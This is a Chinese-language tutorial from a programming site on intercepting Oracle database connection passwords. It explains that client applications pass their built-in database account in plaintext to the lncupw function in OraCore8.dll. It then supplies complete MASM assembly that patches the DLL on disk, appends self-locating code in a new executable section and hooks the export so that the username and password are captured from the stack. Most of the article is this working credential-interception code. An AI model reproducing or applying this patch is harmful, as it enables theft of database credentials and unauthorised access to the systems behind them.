程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> Oracle數據庫 >> Oracle數據庫基礎 >> 教你如何截獲Oracle數據庫連接密碼

教你如何截獲Oracle數據庫連接密碼

編輯:Oracle數據庫基礎

大部分的服務器/客戶端系統的結構可以這樣描述:

客戶端 <---(1)---> 系統TCP/IP模塊 <---(2)---> 網絡 <----> 系統的TCP/IP模塊 <----> 服務端

對於這些系統,一般的安全問題出在由(2)所示的地方,比如說當使用 POP3 協議收取郵件,或者用 Telnet 登錄到遠程主機的時候,其登錄密碼都是未經加密的,只要在網絡上安裝一個嗅探器 (Sniffer) 來監聽數據包,就可以很容易地截獲用戶名和密碼。

但對於 Oracle 系統來說,用戶名和密碼在網絡上傳遞之前,是經過加密的,而且加密的算法是不可逆的,即使使用嗅探器探聽到數據包,開始無法把數據庫的連接密碼恢復出來,Oracle 系統的結構可以如下描述:

客戶端應用程序 <--(1)--> Oracle客戶端軟件 <---(2)---> 系統TCP/IP模塊 <---(3)---> 網絡 <--> 系統的TCP/IP模塊 <---> Oracle數據庫

對於這一類系統,所有在(2)或者(3)處監聽到的登錄數據包都是已經經過加密的,但是,考慮一下我們編寫 Oracle 數據庫應用程序的時候,無論是通過 ODBC 還是 Pro C,或者其他的 BDE 環境等,都是將數據庫連接的用戶名和密碼用明文的方式傳遞給 Oracle 客戶端驅動程序的,所以在(1)位置的數據流肯定明文的,密碼是在 Oracle 客戶端軟件中被加密後才經過(2)、(3)等步驟發送出去,如果在(1)的位置進行攔截,就可能攔截到密碼。

考慮到步驟(1)發生在應用程序到 Oracle 系統的調用中,也就是發生在 API 調用的層次,所以只要找到密碼加密模塊的入口,在對相應的 API 進行 Hook,就能截獲到密碼了。

有人可能存在一個疑問:使用 Sniffer 可以監聽到網絡上其他計算機的連接數據包,而在 API 層次上進行攔截是針對本機的,但要是自己能夠在本機上連接,就表示已經知道密碼了,再去截獲不是多此一舉嗎?

非也!

實際上大部分的 Oracle 應用程序都包括一個用戶開發的客戶端,這個客戶端可能是用 C、PowerBuilder 和其他語言開發的,這些軟件提供一個界面提示用戶輸入用戶名和密碼登錄系統,但是這個用戶名和密碼並不是數據庫的連接用戶名和密碼,而僅僅是一個類似於 users 表中的一條記錄而已,而程序內部內置的數據庫連接帳號才是我們的目標,一般來說,客戶端應用程序是這樣工作的:

1. 使用一個內置的數據庫連接帳號連接到數據庫。

2. 彈出一個對話框提示用戶輸入用戶名 xxx 和密碼 yyy

3. 使用類似於 select * from users where username='xxx' and passWord='yyy' 一類的 SQL 語句查詢用戶是否有權登錄系統。

我們的目標就是步驟1中的連接帳號,這個帳號存在於客戶端軟件中,雖然可能已經被靜態加密(也就是說用16進制軟件去搜尋可執行文件時並不能被找到),但它運行後需要連接數據庫的時候必然會被解密並用明文傳遞到 Oracle 客戶端軟件中。

方法

好了,現在來看看具體的實現方法。

1. 相關的調用

第一步當然要知道在哪裡下手,經過了一番跟蹤以後(這裡省去跟蹤的步驟 n 步,大家可以嘗試自己跟蹤一下),就可以發現用戶名和密碼是在 OraCore8.dll 模塊中的 lncupw 函數中被加密的,而且這個函數的調用方法如下:

invoke lncupw,addr Output,1eh,addr szPassWord,dwLenPass,addr szUserName,dwLenName,NULL,1

函數的入口參數包括明文的數據庫連接用戶名和密碼,以及他們的長度,運行的結果是在第一個參數Output指定的緩沖區中返回加密後的數據,以後這個加密後的數據會被發送到服務器端進行認證。

2. 具體的實現方案

我們的方法就是在對 OraCore8.dll 進行補丁,在 dll 文件中附加一段代碼,然後修改 dll 的導出表中 lncupw 函數對應的入口地址,將它指向到附加的代碼中,然後由這段代碼在堆棧中取出用戶名和密碼並顯示出來,完成這個步驟後再跳轉到原始的 lncupw 函數的入口地址去執行原有的功能。

這個方案涉及到兩個技術問題,第一是對 dll 文件的修改問題,這個問題可以歸結為在 PE 文件後添加可執行代碼的方法問題,第二就是寫被附加到 dll 文件後的程序體的問題。

對 dll 文件的修改代碼的片斷如下,在這以前,我們假定已經做了其他這樣一些工作:

※ 文件名字符串放在 szFileName 指定的緩沖區中。

※ 已經對文件進行校驗,找到了導出表中的 lncupw 項目,這個項目在文件中的 Offset 放在 dwOffsetPeHeand 中,lncupw 的原始入口RVA放在 dwProcEntry 變量中。

※ 找出了 dll 文件中的 PE 文件頭位置,並拷貝 PE 文件頭到 lpPeHead 指定的位置中。

invoke CreateFile,addr szFileName,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ or \ 
FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL 
.if eax == INVALID_HANDLE_VALUE 
invoke MessageBox,hWinMain,addr szErrModify,NULL,MB_OK or MB_ICONERROR 
jmp _Ret 
.endif 
mov @hFile,eax 
;******************************************************************** 
; esi --> 原PeHead 
; edx --> 最後一個節表,ebx --> 新加的節表 
;******************************************************************** 
mov esi,lpPeHead 
assume esi:ptr IMAGE_NT_HEADERS 
movzx eax,[esi].FileHeader.NumberOfSections 
dec eax 
mov ecx,sizeof IMAGE_SECTION_HEADER 
mul ecx 

mov edx,esi 
add edx,eax 
add edx,sizeof IMAGE_NT_HEADERS 
mov ebx,edx 
add ebx,sizeof IMAGE_SECTION_HEADER 
assume ebx:ptr IMAGE_SECTION_HEADER,edx:ptr IMAGE_SECTION_HEADER 
;******************************************************************** 
; 加入一個新的節,並修正一些PE頭部的內容 
;******************************************************************** 
inc [esi].FileHeader.NumberOfSections 
mov eax,[edx].PointerToRawData 
add eax,[edx].SizeOfRawData 
mov [ebx].PointerToRawData,eax 
invoke _Align,offset APPEND_CODE_END-offset APPEND_CODE,[esi].OptionalHeader.FileAlignment 
mov [ebx].SizeOfRawData,eax 
invoke _Align,offset APPEND_CODE_END-offset APPEND_CODE,[esi].OptionalHeader.SectionAlignment 
add [esi].OptionalHeader.SizeOfCode,eax ;修正SizeOfCode 
add [esi].OptionalHeader.SizeOfImage,eax ;修正SizeOfImage 
invoke _Align,[edx].Misc.VirtualSize,[esi].OptionalHeader.SectionAlignment 
add eax,[edx].VirtualAddress 
mov [ebx].VirtualAddress,eax 
mov [ebx].Misc.VirtualSize,offset APPEND_CODE_END-offset APPEND_CODE 
mov [ebx].Characteristics,IMAGE_SCN_CNT_CODE\ 
or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE 
invoke lstrcpy,addr [ebx].Name1,addr szMySection 
;******************************************************************** 
; 寫文件 
;******************************************************************** 
invoke SetFilePointer,@hFile,dwOffsetPeHead,NULL,FILE_BEGIN 
invoke WriteFile,@hFile,esi,[esi].OptionalHeader.SizeOfHeaders,\ 
addr @dwTemp,NULL 
invoke SetFilePointer,@hFile,[ebx].PointerToRawData,NULL,FILE_BEGIN 
invoke WriteFile,@hFile,offset APPEND_CODE,[ebx].Misc.VirtualSize,\ 
addr @dwTemp,NULL 
mov eax,[ebx].PointerToRawData 
add eax,[ebx].SizeOfRawData 
invoke SetFilePointer,@hFile,eax,NULL,FILE_BEGIN 
invoke SetEndOfFile,@hFile 
;******************************************************************** 
; 修正新加代碼中的 Jmp oldEntry 指令 
;******************************************************************** 
mov eax,[ebx].VirtualAddress 
add eax,(offset _dwOldEntry-offset APPEND_CODE+4) 
sub dwProcEntry,eax 
mov ecx,[ebx].PointerToRawData 
add ecx,(offset _dwOldEntry-offset APPEND_CODE) 
invoke SetFilePointer,@hFile,ecx,NULL,FILE_BEGIN 
invoke WriteFile,@hFile,addr dwProcEntry,4,addr @dwTemp,NULL 
;******************************************************************** 
; 修正入口指針 
;******************************************************************** 
mov eax,[ebx].VirtualAddress 
add eax,(offset _NewEntry-offset APPEND_CODE) 
mov dwProcEntry,eax 
invoke SetFilePointer,@hFile,dwOffsetProc,NULL,FILE_BEGIN 
invoke WriteFile,@hFile,addr dwProcEntry,4,addr @dwTemp,NULL 
;******************************************************************** 
; 關閉文件 
;******************************************************************** 
invoke CloseHandle,@hFile 
_Ret: 
; 修改完成

這段代碼完成了3個步驟,首先是掃描PE文件頭中的節表,並在最後添加一個新的節,以便把附加的代碼寫到這個節中,這個節的屬性被設置為可執行、可讀、可寫,因為代碼運行需要的數據區也放在這裡。然後程序修改附加代碼最後的 jmp 指令,將它指到原始的 lncupw 函數中。最後程序在 dll 的導出表中將 lncupw 函數的入口地址指向附加代碼中。

下面是被附加到 dll 後的代碼,這段代碼被寫成可以自我定位的格式,代碼首先在內存中找出 Kernel32.dll 的位置並從中找出 LoadLibrary 函數和 GetProcAddress 函數的地址,然後調用這兩個函數獲取其他一系列要用到的函數的入口地址:

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
; 要被添加到 OraCore8.dll 文件後面的執行代碼 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
; 
; 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
; 一些函數的原形定義 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
_ProtoGetProcAddress typedef proto :dword,:dword 
_ProtoLoadLibrary typedef proto :dword 
_ProtoMessageBox typedef proto :dword,:dword,:dword,:dword 
_Protowsprintf typedef proto c :dword,:VARARG 
_ApiGetProcAddress typedef ptr _ProtoGetProcAddress 
_ApiLoadLibrary typedef ptr _ProtoLoadLibrary 
_ApiMessageBox typedef ptr _ProtoMessageBox 
_Apiwsprintf typedef ptr _Protowsprintf 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
; 
; 
APPEND_CODE equ this byte 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
; 被添加到目標文件中的代碼從這裡開始 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
hDllKernel32 dd ? 
hDllUser32 dd ? 
_GetProcAddress _ApiGetProcAddress ? 
_LoadLibrary _ApiLoadLibrary ? 
_MessageBox _ApiMessageBox ? 
_wsprintf _Apiwsprintf ? 
szLoadLibrary db 'LoadLibraryA',0 
szGetProcAddress db 'GetProcAddress',0 
szUser32 db 'user32',0 
szMessageBox db 'MessageBoxA',0 
szwsprintf db 'wsprintfA',0 
szCaption db 'Oracle 8i 密碼截取補丁',0 
szFormatPwd db '截獲 Oracle 連接:',0dh,0ah,0dh,0ah 
db '用戶名:%s',0dh,0ah 
db '密 碼:%s',0 
szTmpBuffer db 512 dup (?) 
szUserName db 64 dup (?) 
szPassWord db 64 dup (?) 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
; 錯誤 Handler 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
_SEHHandler proc _lpExceptionRecord,_lpSEH,_lpContext,_lpDispatcherContext 

pushad 
mov esi,_lpExceptionRecord 
mov edi,_lpContext 
assume esi:ptr EXCEPTION_RECORD,edi:ptr CONTEXT 
mov eax,_lpSEH 
push [eax + 0ch] 
pop [edi].regEbp 
push [eax + 8] 
pop [edi].regEip 
push eax 
pop [edi].regEsp 
assume esi:nothing,edi:nothing 
popad 
mov eax,ExceptionContinueExecution 
ret 

_SEHHandler endp 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
; 在內存中掃描 Kernel32.dll 的基址 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
szKernel32 db 'KERNEL32' 
_GetKernelBase proc _dwKernelRet 
local @dwReturn 

pushad 
mov @dwReturn,0 
;******************************************************************** 
; 重定位 
;******************************************************************** 
call @F 
@@: 
pop ebx 
sub ebx,offset @B 
;******************************************************************** 
; 創建用於錯誤處理的 SEH 結構 
;******************************************************************** 
assume fs:nothing 
push ebp 
lea eax,[ebx + offset _PageError] 
push eax 
lea eax,[ebx + offset _SEHHandler] 
push eax 
push fs:[0] 
mov fs:[0],esp 
;******************************************************************** 
; 查找 Kernel32.dll 的基地址 
;******************************************************************** 
mov edi,_dwKernelRet 
and edi,0ffff0000h 
.while TRUE 
.if word ptr [edi] == IMAGE_DOS_SIGNATURE 
mov esi,edi 
add esi,[esi+003ch] 
.if word ptr [esi] == IMAGE_NT_SIGNATURE 
assume esi:ptr IMAGE_NT_HEADERS 
mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress 
add esi,edi 
assume esi:ptr IMAGE_EXPORT_DIRECTORY 
mov esi,[esi].nName 
add esi,edi 
mov ecx,sizeof szKernel32 
push edi 
lea edi,[ebx+szKernel32] 
cld 
repz cmpsb 
pop edi 
.if ZERO? 
mov @dwReturn,edi 
.break 
.endif 
assume esi:nothing 
.endif 
.endif 
_PageError: 
sub edi,010000h 
.break .if edi < 70000000h 
.endw 
pop fs:[0] 
add esp,0ch 
popad 
mov eax,@dwReturn 
ret 

_GetKernelBase endp 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
; 從內存中模塊的導出表中獲取某個 API 的入口地址 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
_GetApi proc _hModule,_lpszApi 
local @dwReturn,@dwStringLength 

pushad 
mov @dwReturn,0 
;******************************************************************** 
; 重定位 
;******************************************************************** 
call @F 
@@: 
pop ebx 
sub ebx,offset @B 
;******************************************************************** 
; 創建用於錯誤處理的 SEH 結構 
;******************************************************************** 
assume fs:nothing 
push ebp 
lea eax,[ebx + offset _Error] 
push eax 
lea eax,[ebx + offset _SEHHandler] 
push eax 
push fs:[0] 
mov fs:[0],esp 
;******************************************************************** 
; 計算 API 字符串的長度(帶尾部的0) 
;******************************************************************** 
mov edi,_lpszApi 
mov ecx,-1 
xor al,al 
cld 
repnz scasb 
mov ecx,edi 
sub ecx,_lpszApi 
mov @dwStringLength,ecx 
;******************************************************************** 
; 從 PE 文件頭的數據目錄獲取導出表地址 
;******************************************************************** 
mov esi,_hModule 
add esi,[esi + 3ch] 
assume esi:ptr IMAGE_NT_HEADERS 
mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress 
add esi,_hModule 
assume esi:ptr IMAGE_EXPORT_DIRECTORY 
;******************************************************************** 
; 查找符合名稱的導出函數名 
;******************************************************************** 
mov ebx,[esi].AddressOfNames 
add ebx,_hModule 
xor edx,edx 
.repeat 
push esi 
mov edi,[ebx] 
add edi,_hModule 
mov esi,_lpszApi 
mov ecx,@dwStringLength 
repz cmpsb 
.if ZERO? 
pop esi 
jmp @F 
.endif 
pop esi 
add ebx,4 
inc edx 
.until edx >= [esi].NumberOfNames 
jmp _Error 
@@: 
;******************************************************************** 
; API名稱索引 --> 序號索引 --> 地址索引 
;******************************************************************** 
sub ebx,[esi].AddressOfNames 
sub ebx,_hModule 
shr ebx,1 
add ebx,[esi].AddressOfNameOrdinals 
add ebx,_hModule 
movzx eax,word ptr [ebx] 
shl eax,2 
add eax,[esi].AddressOfFunctions 
add eax,_hModule 
;******************************************************************** 
; 從地址表得到導出函數地址 
;******************************************************************** 
mov eax,[eax] 
add eax,_hModule 
mov @dwReturn,eax 
_Error: 
pop fs:[0] 
add esp,0ch 
assume esi:nothing 
popad 
mov eax,@dwReturn 
ret 

_GetApi endp 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
; 新的入口地址 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
_NewEntry: 
;******************************************************************** 
; 重定位並獲取一些 API 的入口地址 
;******************************************************************** 
pushad 
call @F 
@@: 
pop ebx 
sub ebx,offset @B 
;******************************************************************** 
.if dword ptr [ebx+_MessageBox] 
jmp @F 
.endif 
;******************************************************************** 
invoke _GetKernelBase,7b000000h ;獲取Kernel32.dll基址 
or eax,eax 
jz _ToOldEntry 
mov [ebx+hDllKernel32],eax ;獲取GetProcAddress入口 

lea eax,[ebx+szGetProcAddress] 
invoke _GetApi,[ebx+hDllKernel32],eax 
or eax,eax 
jz _ToOldEntry 
mov [ebx+_GetProcAddress],eax 

lea eax,[ebx+szLoadLibrary] ;獲取LoadLibrary入口 
invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax 
or eax,eax 
jz _ToOldEntry 
mov [ebx+_LoadLibrary],eax 

lea eax,[ebx+szUser32] ;獲取User32.dll基址 
invoke [ebx+_LoadLibrary],eax 
or eax,eax 
jz _ToOldEntry 
mov [ebx+hDllUser32],eax 

lea eax,[ebx+szMessageBox] ;獲取MessageBox入口 
invoke [ebx+_GetProcAddress],[ebx+hDllUser32],eax 
mov [ebx+_MessageBox],eax 
or eax,eax 
jz _ToOldEntry 

lea eax,[ebx+szwsprintf] ;獲取MessageBox入口 
invoke [ebx+_GetProcAddress],[ebx+hDllUser32],eax 
mov [ebx+_wsprintf],eax 
or eax,eax 
jz _ToOldEntry 
;******************************************************************** 
; 程序功能開始 
;******************************************************************** 
; lncupw 的調用方式是: 
; invoke lncupw,addr Output,1eh,addr szPassword,dwLenPass,addr szUserName,dwLenName,NULL,1 
; 現在的堆棧內容是: 
; ... 
; esp+14*4 dwLenUserName 
; esp+13*4 addr szUserName 
; esp+12*4 dwLenPass 
; esp+11*4 addr szPassWord 
; esp+10*4 1eh 
; esp+9*4 addr Output 
; esp+8*4 call's return address 
; esp+到esp+8*4 pusha 推入堆棧的8個寄存器值 
; 
; 所以,從 esp+13*4 和 esp+11*4 取出的就是 Oracle 應用程序 
; 傳遞進來的用來連接數據庫的用戶名和密碼地址。 
;******************************************************************** 
@@: 
mov esi,[esp+13*4] ;username 
lea edi,[ebx+szUserName] 
mov ecx,[esp+14*4] 
cmp ecx,60 
jle @F 
mov ecx,60 
@@: 
cld 
rep movsb 
xor eax,eax 
stosb 

mov esi,[esp+11*4] ;password 
lea edi,[ebx+szPassWord] 
mov ecx,[esp+12*4] 
cmp ecx,60 
jle @F 
mov ecx,60 
@@: 
rep movsb 
xor eax,eax 
stosb 

lea eax,[ebx+szUserName] 
lea ecx,[ebx+szPassWord] 
lea edx,[ebx+szFormatPwd] 
lea esi,[ebx+szTmpBuffer] 
invoke [ebx+_wsprintf],esi,edx,eax,ecx 

lea ecx,[ebx+szTmpBuffer] 
lea eax,[ebx+szCaption] 
invoke [ebx+_MessageBox],NULL,ecx,eax,MB_OK or MB_ICONINFORMATION or MB_SERVICE_NOTIFICATION 
;******************************************************************** 
; 執行原來的文件 
;******************************************************************** 
_ToOldEntry: 
popad 
db 0e9h ;0e9h是jmp xxxxxxxx的機器碼 
_dwOldEntry: 
dd ? ;用來填入原來的 lncupw 函數的入口地址 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
APPEND_CODE_END equ this byte

對 OraCore8.dll 進行了這樣的補丁以後,凡是有應用程序連接 Oracle 數據庫,附加代碼就可以截獲到連接所用的用戶名和密碼並通過一個 MessageBox 顯示出來了!

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved